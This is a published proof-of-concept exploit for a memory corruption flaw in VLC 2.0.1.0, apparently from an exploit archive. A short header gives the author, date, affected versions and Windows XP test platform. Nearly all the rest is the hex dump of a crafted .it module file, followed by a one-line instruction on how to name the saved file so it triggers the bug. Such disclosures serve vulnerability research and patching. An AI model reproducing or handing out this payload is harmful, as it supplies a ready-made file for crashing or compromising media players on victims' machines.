# Exploit Title: VLC v. 2.0.1.0 .it Memory Corruption
# Date: 3/15/2012
# Author: Dan Fosco
# Vendor or Software Link: www.videolan.org
# Version: 2.0.1.0
# Category: local
# Google dork: n/a
# Tested on: Windows XP SP3 (64-bit)
# Demo site: n/a
Tested on stable 2.0, 1.1.11, 2.0.1.0 (newest release as of 3/15/2012)
hex:
7a6952434f4e69610e0010130b00580002001800000000024400000090000000360200005a0900001f0d00001aa90000e8f30000840901000f1d01003f580100806e01003000000030000000fe09638001000000000000000000000030000000494d504d2257696e746572277320447265616d220000000000000000000000001600100022002d00040200021d000000220200008a010000652899120100170000000e00300000002202000000e1ff3fc3e4c2fc3f00fc3f7c0040f87f397c1620fb939ef6d3ffcf7e693887ff070000fc5f60f87f00000040bfb21a0810180606064685c5c14140a0801c10f6a7508651023ee21ec1d4586a80463e23f495f90a92e648c3e9d9f4c08bde4544a7a113e6ea72c5fe5a7f01d17e6894b8491c3aef9cc713dc0942161f8be4c9f124a1725049b21c59122f879764cc31264173a049da1c6d1239879ce4ce7127e173f049021d81124387a164d1b1288174404a2a1d95124d87a6e4d3f1292175904a521da9125787ab64d6312bc175e04a7a1dbd126187b0e4d8712c6176304ba21dd1126b87b564dbb12d0177804bca1de5127587bae4ddf12ea177d04bf21df92a8f93c728ea13b5cbbbe5ed37ef9b6be1b3f082fe40ffffdf6fb06f9007710711a9f1a811fe1f00003e0ee40da4bb67bba7266d262d92ef912ffc3f5ffa38fad807bb07db58bd589d157f151ffe9fdf96ef963fb64eb61ed42dd4fde90cea5cf96bf9dbe5eae53ad449d4b9aac8aa08ff0ffdff0e80bf47e3a39bb44eda5ca9ae34bba85df4ff7f00a022000008070000fc58645101002f0000000f0052020000a0220000929af1079f92f0ff001f000f2019e017fe9f6f0ccd0011e7c73f18589009c9e9d8cd30f3e07f307e372e05ff0f13c0f85555555555555555555555555555555555555555555555555555555555d55522ff83bf0e0800fcdffc8f01f07f000000002a00ff077f3ce46378000000002a00ff077f3ce4637800000000f8929af1079f92f0ff001f000f2019e017fe9f6f0ccd00d1e02142920810589009c9e9d8cd30f3e07f307e372e05ff8f0ac0f8abaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa6b3bfe077f1d1000f8bff91f03e0ff000000005400fe0ffe78c8c7f0000000005400fe0ffe78c8c7f000000000f02535e30f3e25e1ff013e001e4032c02ffc3f000086aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaba4aec7ff0d7010180ff9bff3100fe0f0000004005e0ffe08f877c0c0f0000004005e0ffe08f877c0c0f000000005f5233fee05312fe1fe003e0012403fcc2ffd389c5c362f83f00700130fe5555555555555555555555555555555555555555555555555555555555d5b59dff83bf0e0800fcdffc8f01f07f000000002a00ff077f3ce46378000000002a00ff077f3ce4637800000000f8929af1079f92f0ff001f000f2019e017fe9f4e4c1e26c3ff01800ba0f1afaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaeedfe1ffc754000e0ffe67f0c80ff030000005001f83ff8e3211fc3030000005001f83ff8e3211fc303000000c097d48c3ff89484ff07f8007800c900bff0ff7462f3b019fe0f005c008e7f5555555555555555555555555555555555555555555555555555555555f56dc7ff817f1d1000f8bff91f03e0ff000000005400fe0ffe78c8c7f0000000005400fe0ffe78c8c7f000000000f02535e30f3e25e1ff013e001e4032c02ffc3f000086aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaba4aec7ff0d7010180ff9bff3100fe0f0000004005e0ffe08f877c0c0f0000004005e0ffe08f877c0c0f000000005f5233fee05312fe1fe003e0012403fcc2fff30915291c280cf683e84bea03efff5be101640018ff5555555555555555555555555555555555555555555555555555555555d5b79dff07fe754000e0ffe67f0c80ff030000005001f83ff8e3211fc3030000005001f83ff8e3211fc303000000c097d48c3ff89484ff07f8007800c900bff0ff7c73e50d450f48f18aff5209c5f644fc40fa8e008bf844f6cd686ef87f640019ff5555555555555555555555555555555555555555555555555555555555d5b7ddff07fe754000e0ffe67f0c80ff030000005001f83ff8e3211fc3030000005001f83ff8e3211fc303000000c097d48c3ff89484ff07f8007800c900bff0ff7c5645fc9309100707df0113854057f87f001980c67f5555555555555555555555555555555555555555555555555555555555756e87ff03feeb8000c0ffcdff1800ff07000000a002f07ff0c7433e8607000000a002f07ff0c7433e8607000000802fa9197ff02909ff0ff001f00092017ee1ff0100305455555555555555555555555555555555555555555555555555555555d55562ff83bf0e0800fcdffc8f01f07f000000002a00ff077f3ce46378000000002a00ff077f3ce4637800000000f8929af1079f92f0ff001f000f2019e017fe9f6fca198083fb63a210e80aff0f800c80e3bfaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa3ab7d3ff01ff754000e0ffe67f0c80ff030000005001f83ff8e3211fc3030000005001f83ff8e3211fc303000000c097d48c3ff89484ff07f8007800c900bff0ff7c53ce001adc1d13854057f87f0064001dff5555555555555555555555555555555555555555555555555555555555d5b9ddfe0ff8af030200ff37ff6300fc1f000000800ac0ffc11f0ff9181e000000800ac0ffc11f0ff9181e00000000bea466fcc1a724fc3fc007c0034806f885ffe79b7206100cf01098d407deffb7c203900178fc575555555555555555555555555555555555555555555555555555555555e776fc3fe0bf0e0800fcdffc8f01f07f000000002a00ff077f3ce46378000000002a00ff077f3ce4637800000000f8929af1079f92f0ff001f000f2019e017fe9f6fca19403040c3fb63a210e80aff0f4006f0f15f55555555555555555555555555555555555555555555555555555555559ddbf5ff80ff3a2000f07ff33f06c0ff01000000a800fc1ffcf1908fe101000000a800fc1ffcf1908fe101000000e04b6ac61f7c4ac2ff037c003c8064805ff87fbe323787430008d7c4d84584217e23004179a47f6ca68627c504fbfd7f323c1b008cff5555555555555555555555555555555555555555555555555555555555d5b99dff0ff8af030200ff37ff6300fc1f000000800ac0ffc11f0ff9181e000000800ac0ffc11f0ff9181e00000000c20700a00a0000a903000077bc44170100390067000200f2240000a00a0000002040494d505301ab656172636f746c6d736e6669023c5d2d2e6870772f3a676b750a11181f2223262728313236393b3e4451595b6264787980e40607090e10151a1c1e21292a2b2c3338424345525e5f6a767c828b9aacb1c3c4cbced0d9e0e3ebeeeff4f7fd637d00801546be030000803cc07ab02a0f693d68a8100f4087c178dc010c953d00c00a23dfea9a1c2539c9924681bd240a64f2007980f560451ed27ad0db131e804d751e50637d0080110700000000c0613c0000a8b13e00c0c9c9835595606d314653a4604920eae601f401f025e101686d090fc0323a0fa8b13e00c00a325f60b6196462f8573f8a9645bf2424e029e2c11e400ef3e82e0fcfe6300088fc0600cd34e3811aeb03009c9c3c000000e803809a7700d0dc121e80cebe0e7850637d008011a14d0bb0948168e8810bac5cae56e08207000087f10000a0c6fa00002bc87c070000007b00e8c5a37b483c8b5e3c7a3cc403d0cde9010f6aac0f00707202a0f17cd4b99742fadd4cb8445423f1803e00c4413c0087f100a041de031ed4581f00e0e43e4255d5ad711e0070f7a08978000ee30140cfc8073ca8b13e00c0880300000000e0301e0000d4581f00e0e43e529706a47ef2f633861e260cd703d00700cb8707e0301e00f40c58c1831aeb03009c9c3c000000e80300bbc30370180f00ba7aaae0418df501004e4e1e000000f401f024e101388c07006d3156f0a0c6fa000027f7000000401f00971f1e80c37800d0d665050f6aac0f00b0c2f1f2000000d80350621e001dbbe201e8b2b3820735d60700187100000000001cc60300801aeb03008c3800000000000ee30100408df50100461c000000000087f10000a0c6fa0000230e001a73c4e001000070180f00006aac0f0030e20000000000388c07000035d60700187100000000001cc60300801aeb03008c08f578533dbf7630f57bc39f3af91a000070180f00006aac0f003022d4a5a02d7ca27e86aff2174c161e0000388c07000035d607001831e6a452bdb0d24b2aa6b015fb81ca97f000001cc60300801aeb03008c3800000000000ee30100408df50100461c000000000087f10000a0c6fa0000230e0000000080c378000050637d008011614605770c733518d47ba17da5fbdc78000070180f00006aac0f0030e20000000000388c07000035d60700187100000000001cc60300801aeb03008c089335e914733f8f070000001cc60300801aeb03008c085326b65a1413e6b67e1f0f0000c0613c0000a8b13e00c08830b573fbe7751dc771d90465cdf2f10000c0613c0000880759b40000df9b000078ea03b30100490093000500922f000059b40000000410080207060a4081822584010f0b200c0514098385038e210d133c61281e32344c458c2d8a870e8d4b48804347864989191a15a53e423044388869123d355133298f4a2a1f39541817163f241ca14f8b3bf04e315b41563a5911272e37e12c584d2b53501d23b45d1b262f7036529046227ff655c0b057605a5f5c62a264925e7ceb666876787b7d7e94a4bdc2cecfd0fd2a81f0c026ceda7c8d513d25114840b28c53d55b0eb6413ea5581bb4628166f594653caadf1dd0187d080854850568203c84d5a4f20c011aab2a6184bafc008d91874fd0ac3f1668d69f94b0925d008d519530e2cf0bdaf7ea21ac3e95a710d058550923598505688c3c84eba4f2fc011ad70f6125bb08018d9587309a545880c6e843b8a22e80c66a42584d2acf31a0e1fa1046a80a0bd06879082bfeb9a0fdd68f70d1ea7707345c1e426b5261011aad2a6185aa3cbd80c6ca43704d2e2040c35525b4641516a0b1921256fc7941fb8eaa0497ec02685c3d84d5a77207345655c2485661011a230fe13aa93c6d80c6f54358c92e204063e5218c261516a031fa10aea80ba0b19a1056938ab0c40f12b4dff811235af596836d108f588f8a059af52346b4fadd018d91874fd0ac3f1668905f95b042559e214063e5218c26971fa031aa1210b20a0bd05849092bfebca07d4755c248760134ae1ec2ea53790a018d55953092555880c6c843b84e2acf1fa071fd1056b28b10d0587908a3498505688c3e842bea0268ac2684d5a4f21c031aae0f6184aab0008d9687b0e29f0bda6ffd0817ad7e7740c3e521b4261516a0d1aa1256a8cad30b68ac3c04d7e40202345c55424b5661011a442961c59f17b4afab4a70c92e80c6d543207e2a7740835825b8641516a0e1f210ae93cad306685c3f04a2ec020234881e826b5261011aae0fe18aba00b817041e6ce2accdd718d5531281c414ff3cfe36415abf71aafa13c0f17ca0a1dfa7146b83562cb3fcd2134063e5512c4687ca9dcfc203ed377e0482562cb3fcc2134003e121ac26956788cfc203edbbaa1246a8cb8fb1004e008d91874fd0ac3f96091ea0597f52c24a76612cb413406354258cf8f3b2f040fb5e3d84d5a7f2143216c809a0b1aa1246b20a8bcfc203ed3bf210ae93caf3c758002780c6f54358c92e423e0b0fb4dfea11e354b1ccf2134f008dd1877045f12f0b0fb4df3a11eb54fd9e63c6023b01345c1fc2085561f15978a0fd5a8f588f8b597ee409a0b1fa105ca8ca9dcfc203ede77a443b552cb3fca01340a35525ac5095a797cfc203edb77a843b5d20b3fc801340c35525b46415169f8507da772525acf8f3b2f5454e008d5195e092f12f0b0fb4efd543587d2a77c6023801345655c2485661f15978a07d471ec2755279da180be804d0b87e082bd905c467e181f65b3d629c2a96597ee209a031fa10aea80ba0b19a1056938ab0c40f92f57f1ebe6dc68f18d1aa3f011ccf071afa79c47a542cb3fcd2134063f5218c50953b9f8507da6ff40864aa5866f985278006a24a58a12acf109f8507da6ff58871ba7e3fc602380134465502425661f15978a07d5752c28a3f2f5b5fed04d01855092319ffb2f040fb5e3d84d5a7f2143216c809a0b1aa1246b20a8bcfc203ed3bf210ae93caf3c758002780c6f54358c92e423e0b0fb4dfea11e354b1ccf2134f008dd1877045f12f0b0fb4df3a11eb54fd9e63c6023b01345c1fc2085561f15978a0fd5a8f588f8b597ee409a0b1fa105ca8ca9dcfc203ede77a443b552cb3fca01340a35525ac5095a797cfc203edb77a843b5d20b3fc801340c35525b46415169f8507da972825acf8f3b2f5454e000d5795e092f12f0b0fb4efd543207e2a77c6023801348855824b5661f15978a07d5d1ec2755279da180be804d0b87e0844d905c467e181f6257a08ae4985c55888278086eb43b8a22e7b46f823ee133e40271cccc667dfa6f5bd1ba07a70229018e707e5172e0b488bcf3a0260f1074a3cbae1fd54580c8607d0607a149955e51ef8001a9c0f415561f1c304edebf5549ede7d1cf49b5925882f3a4661c56f1334fef510a01516a3a302349852fe058d7fab978018d0d07908e5ca131c80021acc6a850568703c0471e5a90334749f0b38500634981e02b1c20234381f42fc1210031acc49e5d905346c9f0a2b400434b21ec2ea1288031acc4fe50e68d83c046285056864ab956736b00234981e82eaf203346c5542aec20a10010da654218cf3cbbca0f16f75af53f0bd021568744fc9f2ea770fe4000d66b5c262f0e2fc3241e33f8f68abdff3bae7a907dbe8dff5fb313a394083e921e42a2c4083f321b42e8116a0c19c5484387e90a0f1df57f516e4ce011a5e8f025161055a8006f3a3c8
Must save as file with 5 characters as the name, like fffff.it
